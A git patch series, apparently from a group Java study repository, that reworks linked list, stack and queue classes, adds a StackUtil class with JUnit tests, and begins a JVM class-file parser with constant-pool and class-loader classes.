+			Node node = head;
+			while (node != null) {
+				node = node.next;
+				if (node == null) {
+					Node lastnode = new Node(o, null);
+					node = lastnode;
+				}
 			}
+			size++;
 		}
-		size++;
 	}
 
 	public Object removeFirst() {
 		Node oldhead = head;
 		Node newhead = head.next;
-		oldhead.next = null;
 		head = newhead;
 		size--;
 		return oldhead.data;
 	}
 
 	public Object removeLast() {
-		Node node = head;
-		Node prev = head;
-		while (node != null) {
-			node = node.next;
-			if (node == null) {
-				prev.next = null;
-			}
-			prev = prev.next;
+		if(size == 1){
+			Node first = head;
+			Object data = first.data;
+			head = null;
+			size--;
+			return data;
+		}else{
+			Node lastPre = getNode(size-2);
+			Node last = lastPre.next;
+			Object data = last.data;
+			lastPre.next = null;
+			size--;
+			return data;
 		}
-		size--;
-		return node.data;
+
+	}
+
+	private Node getNode(int index) {
+		rangeCheck(index);
+		Node cur = head;
+		int i = 0;
+		while(i <=index){
+			cur = cur.next;
+			i++;
+		}
+		return cur;
 	}
 
 	public Iterator iterator() {
diff --git a/group04/349184132/Study/src/com/first/Queue.java b/group04/349184132/Study/src/com/first/Queue.java
index 130e16930e..4d24432adb 100644
--- a/group04/349184132/Study/src/com/first/Queue.java
+++ b/group04/349184132/Study/src/com/first/Queue.java
@@ -4,7 +4,7 @@ public class Queue {
 	private LinkedList elementData = new LinkedList();
 	private int size = 0;
 	public void enQueue(Object o){
-		elementData.addLast(o);
+		elementData.add(o);
 		size++;
 	}
 	
diff --git a/group04/349184132/Study/src/com/first/Stack.java b/group04/349184132/Study/src/com/first/Stack.java
index 7d8477b962..a9a1915f82 100644
--- a/group04/349184132/Study/src/com/first/Stack.java
+++ b/group04/349184132/Study/src/com/first/Stack.java
@@ -17,7 +17,9 @@ public Object pop(){
 				e.printStackTrace();
 			}
 		}
-		return elementData.get(--size);
+		Object obj = elementData.get(--size);
+		elementData.remove(size);
+		return obj;
 	}
 	
 	public Object peek(){
diff --git a/group04/349184132/Study/src/com/first/StackUtil.java b/group04/349184132/Study/src/com/first/StackUtil.java
new file mode 100644
index 0000000000..88fddf53f7
--- /dev/null
+++ b/group04/349184132/Study/src/com/first/StackUtil.java
@@ -0,0 +1,110 @@
+package com.first;
+
+import java.util.Objects;
+
+public class StackUtil {
+	
+	
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(s==null){
+			return ;
+		}
+		Queue temp = new Queue();
+		while(!s.isEmpty()){
+			Integer num = (Integer) s.pop();
+			temp.enQueue(num);
+		}
+		while (!temp.isEmpty()){
+			Integer num = (Integer) temp.deQueue();
+			s.push(num);
+		}
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null){
+			return ;
+		}
+		Stack temp = new Stack();
+		while(!s.isEmpty()){
+			Object elem = s.pop();
+			if(!Objects.deepEquals(elem,o)){
+				temp.push(elem);
+			}
+		}
+		while(!temp.isEmpty()){
+			s.push(temp.pop());
+		}
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if(s == null){
+			return null;
+		}
+		if(len <0 || len > s.size()){
+			throw new IndexOutOfBoundsException();
+		}
+		Object[] result = new Object[len];
+
+		for(int i=0; i<len; i++){
+			result[i] = s.pop();
+		}
+
+		return result;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		if( s == null || s == ""){
+			throw new IllegalArgumentException();
+		}
+		Stack brackets = new Stack(); // 括号栈
+		char[] arr = s.toCharArray();
+		for(int i=0;i<arr.length;i++){
+			if(arr[i]== '(' || arr[i] == '{' || arr[i] == '['){  //左括号则直接入栈
+				brackets.push(arr[i]);
+			}else if(arr[i]== ')'){    //右括号
+				if (!(compare(brackets,'('))) return false; // 不匹配则返回 false
+			}else if(arr[i]==']'){
+				if (!(compare(brackets,'['))) return false;
+			}else if(arr[i] =='}'){
+				if (!(compare(brackets,'{'))) return false;
+			}else{
+
+			}
+		}
+
+		return true;
+	}
+
+	// 是否匹配 比配则为true
+	private static boolean compare(Stack brackets,char left) {
+		char c =(Character) brackets.pop();
+		if(c == left){
+			return true;
+        }
+		return false;
+	}
+
+
+}
diff --git a/group04/349184132/Study/src/com/first/test/StackUtilTest.java b/group04/349184132/Study/src/com/first/test/StackUtilTest.java
new file mode 100644
index 0000000000..940abbb57c
--- /dev/null
+++ b/group04/349184132/Study/src/com/first/test/StackUtilTest.java
@@ -0,0 +1,90 @@
+package com.first.test;
+
+import com.first.Stack;
+import com.first.StackUtil;
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+/** 
+* StackUtil Tester. 
+* 
+* @author <Authors name> 
+* @since <pre>���� 7, 2017</pre> 
+* @version 1.0 
+*/ 
+public class StackUtilTest {
+    Stack s = new Stack();
+
+    @Before
+    public void before() throws Exception {
+        s.push(1);
+        s.push(2);
+        s.push(3);
+        s.push(4);
+        s.push(5);
+    }
+
+    @After
+    public void after() throws Exception {
+    }
+
+    /**
+     * Method: reverse(Stack s)
+     */
+    @Test
+    public void testReverse() throws Exception {
+
+        StackUtil.reverse(s);
+        int[] result = new int[s.size()];
+        for (int i = 0; i < result.length; i++) {
+            result[i] = (Integer) s.pop();
+        }
+        int[] expect = new int[]{1, 2, 3, 4, 5};
+        Assert.assertArrayEquals(expect, result);
+    }
+
+    /**
+     * Method: remove(Stack s, Object o)
+     */
+    @Test
+    public void testRemove() throws Exception {
+        int[] result = new int[s.size() - 1];
+        StackUtil.remove(s, 1);
+        for (int i = 0; i < result.length; i++) {
+            result[i] = (Integer) s.pop();
+        }
+        int[] expect = new int[]{5, 4, 3, 2};
+        Assert.assertArrayEquals(expect, result);
+
+    }
+
+    /**
+     * Method: getTop(Stack s, int len)
+     */
+    @Test
+    public void testGetTop() throws Exception {
+        // stack 5 4 3 2 1
+        Object[] result = StackUtil.getTop(s, 2);
+        // 5 4
+        Object[] expect = {5, 4};
+        Assert.assertArrayEquals(expect, result);
+    }
+
+    /**
+     * Method: isValidPairs(String s)
+     */
+    @Test
+    public void testIsValidPairs() throws Exception {
+        String s1 = "([e{d}f])";
+        boolean flag1 = StackUtil.isValidPairs(s1);
+        Assert.assertEquals(true, flag1); // ArrayList.remove 边界 删除最后一个
+        String s2 = "([b{x]y})";
+        boolean flag2 = StackUtil.isValidPairs(s2);
+        Assert.assertEquals(false, flag2);
+    }
+
+
+}
\ No newline at end of file
diff --git a/group04/349184132/Study/src/com/linked/LinkedList.java b/group04/349184132/Study/src/com/linked/LinkedList.java
index 44aba236b4..9d4e45d034 100644
--- a/group04/349184132/Study/src/com/linked/LinkedList.java
+++ b/group04/349184132/Study/src/com/linked/LinkedList.java
@@ -236,7 +236,7 @@ public  Node reverseFor(Node head){
 	}
 	/**
 	 * 递归写法
-	 * @param node
+	 * @param
 	 * @return
 	 */
 	public Node reverseRecursion(Node current){
@@ -297,7 +297,7 @@ public  int[] getElements(LinkedList list){
 		int index = 0;
 		for(Iterator iter = list.iterator();iter.hasNext();){
 			int LinkIndex = (int)iter.next();
-			result[index] = (int)get(LinkIndex);
+			result[index] = (Integer) get(LinkIndex);
 		}
 		return result;
 	}

From 34244e2c2a6b54efc7ce547793d1b3cac8cfe87a Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Tue, 11 Apr 2017 10:49:31 +0800
Subject: [PATCH 068/262] =?UTF-8?q?week5=5Fjvm2=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 +++
 .../src/com/coderising/jvm/clz/ClassFile.java |  75 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 +++
 .../coderising/jvm/constant/ConstantInfo.java |  29 +++
 .../coderising/jvm/constant/ConstantPool.java |  29 +++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 +++++
 .../jvm/constant/MethodRefInfo.java           |  55 +++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 ++++
 .../jvm/constant/NullConstantInfo.java        |  13 ++
 .../coderising/jvm/constant/StringInfo.java   |  26 +++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 +++
 .../jvm/loader/ByteCodeIterator.java          |  54 +++++
 .../jvm/loader/ClassFileLoader.java           | 140 ++++++++++++
 .../jvm/loader/ClassFileParser.java           | 112 ++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 202 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 +++
 .../src/com/coderising/jvm/util/Util.java     |  24 +++
 18 files changed, 986 insertions(+)
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week5_jvm/src/com/coderising/jvm/util/Util.java

diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..650ca8375d
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,75 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..466b072244
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..86c0445695
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public Object getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..65475e194c
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7f05870020
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..402f9dec86
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..936736016f
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..f1f8eb4ed4
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..5cac9f04f7
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..577e41536b
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.util.Util;
+
+public class ByteCodeIterator {
+    private byte[] codes;
+    private int pos;
+
+    public ByteCodeIterator(byte[] codes) {
+        this.codes = codes;
+        this.pos = 0;
+    }
+
+    public byte[] getCodes(int length) {
+        if (this.pos + length >= this.codes.length) {
+            throw new IndexOutOfBoundsException();
+        }
+
+        byte[] buffer = new byte[length];
+        for (int i = 0; i < length; i++) {
+            buffer[i] = this.codes[pos++];
+        }
+        return buffer;
+    }
+
+    public int nextU1ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++]});
+    }
+
+    public int nextU4ToInt() {
+        return Util.byteToInt(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+    }
+
+    public String nextU4ToHexString() {
+        return Util.byteToHexString(new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len) {
+        byte[] buffer = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buffer[i] = this.codes[pos++];
+        }
+        return Util.byteToHexString(buffer);
+    }
+
+    public void back(int i) {
+        this.pos -= i;
+
+    }
+}
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..be4e12c7de
--- /dev/null
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,140 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+
+	public byte[] readBinaryCode(String className) {
+
+		className = className.replace('.', File.separatorChar) +".class";
+
+		for(String path : this.clzPaths){
+
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}
+		}
+
+		return null;
+
+
+
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+
+		File f = new File(clzFileName);
+
+		try {
+
+			return IOUtils.toByteArray(new FileInputStream(f));
+
+		} catch (IOException e) {
+			e.printStackTrace();
+			return null;
+		}
+	}
+
+
+
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+
+		this.clzPaths.add(path);
+
+	}
+
+
+
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+
+	}
+
+
+
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+
+	private byte[] loadClassFile_V1(String clzFileName) {
+
+		BufferedInputStream bis = null;
+
+		try {
+
+			File f = new File(clzFileName);
+
+
+			bis = new BufferedInputStream(new FileInputStream(f));
+
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+
+			byte[] buffer = new byte[1024];
+			int length = -1;
+
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);
+			}
+
+			byte [] codes = bos.toByteArray();
+
+			return codes;
+
+		} catch(IOException e){
+			e.printStackTrace();
+
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+
+	}
+
+
+
+
+}
\ No newline at end of file
diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..524a9dfc4e
--- /dev/null
